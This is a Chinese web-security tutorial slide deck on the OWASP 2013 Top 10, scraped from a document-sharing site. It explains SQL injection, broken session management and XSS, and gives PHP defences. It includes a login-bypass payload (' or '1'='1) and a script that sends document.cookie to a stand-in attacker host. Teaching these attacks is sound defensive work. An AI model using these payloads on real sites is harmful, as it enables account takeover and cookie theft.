- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
Web安全的那些事
Web安全的那些事 By Leesec 2013 Top 10 SQL 注入 失效的认证和会话管理 XSS (跨站脚本) 不安全的直接对象引用 安全配置错误 敏感信息泄漏 功能级别访问控制缺失 CSRF(跨站请求伪造) 使用第三方开发框架或者开源程序 未验证的重定向和转发 SQL 注入原理介绍 假设这是某后台登陆的源代码 $sql=“select * from admin where username=‘”.$username.”’ and password=‘”.$password.”’”; 受害者A用户帐号密码为leesec 、leesec 受害者A用户登陆提交的参数如下 username=leesec、password=leesec select * from admin where username=‘leesec’ and password=‘leesec’; 而黑客则不会老实提交,由于程序本身太信任用户输入的数据,导致被黑客利用进行攻击 黑客提交的参数如下 username=leesec,password=‘ or ‘1’=‘1 select * from admin where username=‘leesec’ and password=‘’ or ‘1’=‘1’; select * from admin where username=‘leesec’ and password=‘’ or 1; select * from admin where true and false or 1; and优先级高于or ? select * from admin where false or 1; select * from admin 这样黑客就可以登陆leesec的账户,进行黑客行为...... SQL 注入防御方法 用下列PHP内置函数防御sql注入攻击 addslashes();(适用SQL注入防御) 对下列字符进行转义:单引号 ()双引号 () 反斜杠 (\) NULL这个函数可以过滤好sql注入,但是对 、字符过于信任,在一些模板输出的地方导致XSS攻击 htmlspecialchars(); (适用XSS防御) 对下列字符进行过滤 (和号) 成为 amp; (双引号) 成为 quot; (单引号) 成为 #039; (小于) 成为 lt; (大于) 成为 gt; mysql_real_escape_string();(适用SQL注入防御) 对下列字符进行转义\x00 ; \n ; \r ; \ ; ‘;“ ; \x1a 用上面2个适用SQL注入的函数进行转义后,SQL语句如下: select * from admin where username=‘leesec’ and password=‘\’ or \‘1\’=\‘1’; 防御小技巧: 对于参数值为整数的,不是字符型的,可以直接用Intval()函数进行过滤。也可以对那些参数进行长度限制。 失效的认证和会话管理 我们公司网站曾经的例子 1.用户忘记密码后,密码找回功能太过简单。以至于可以更改所有用户的密码 2.用户更改密码,未验证原密码的有效性。以至于可以更改所有用户的密码 3.用户的会话ID暴露在URL里。以至于可以登陆你的帐号 等等... 修复方法: 1.Token或者session_id避免暴露在URL地址栏,避免黑客获取到你的url直接登录你的帐号 2.涉及到金钱交易的地方,可以使用https (通过TLS连接传输) 来代替http,防止黑客嗅探到你交易密码.这个网易邮箱就是这样的. 3.对cookie重要内容进行加密.设置cookie httponly 特性 XSS原理(跨站脚本攻击) 信任用户输入的数据 ?php echo $_GET[‘name’] ? 浏览 localhost/index.php?name=scriptalert(1);/script 危害 可获取你的cookie, 对网站进行蠕虫攻击。 scriptdocument.write(“img src=‘http://xss后门.com/index.php?cookie=’”+document.cookie+”’”);/script XSS防御方法 1. 不要在客户端过滤XSS,应该在服务端过滤。 2.限制用户输入的长度。 3.对用户进行输入、输出过滤。 4.使用白名单过滤 正则匹配 html标签 是否在白名单之内. 如果匹配 html标签成功,再匹配html标签的属性和事件是否在白名单内。 5. cookie 设置为httponl
您可能关注的文档
最近下载
- 西门子 go topCT 中文版.pdf VIP
- 复合材料【全套课件】.ppt VIP
- 复合材料 第八章 先进复合材料.ppt VIP
- 人教版八年级物理第九单元《压强》测试题及答案.doc VIP
- 《复合材料学》全套教学课件.pptx
- 复合材料复合材料导论.ppt VIP
- 2025年闽教版(2024)小学英语四年级上册(全册)教学设计(附目录P123).docx
- 冠心病的介绍与治疗PPT.pptx VIP
- 2025云南昆明巫家坝建设发展有限责任公司及下属公司第三季度招聘23人笔试参考题库附答案解析.docx VIP
- 2.2.3 气候——特征和影响因素(课件)八年级地理上册(人教版).pptx VIP
文档评论(0)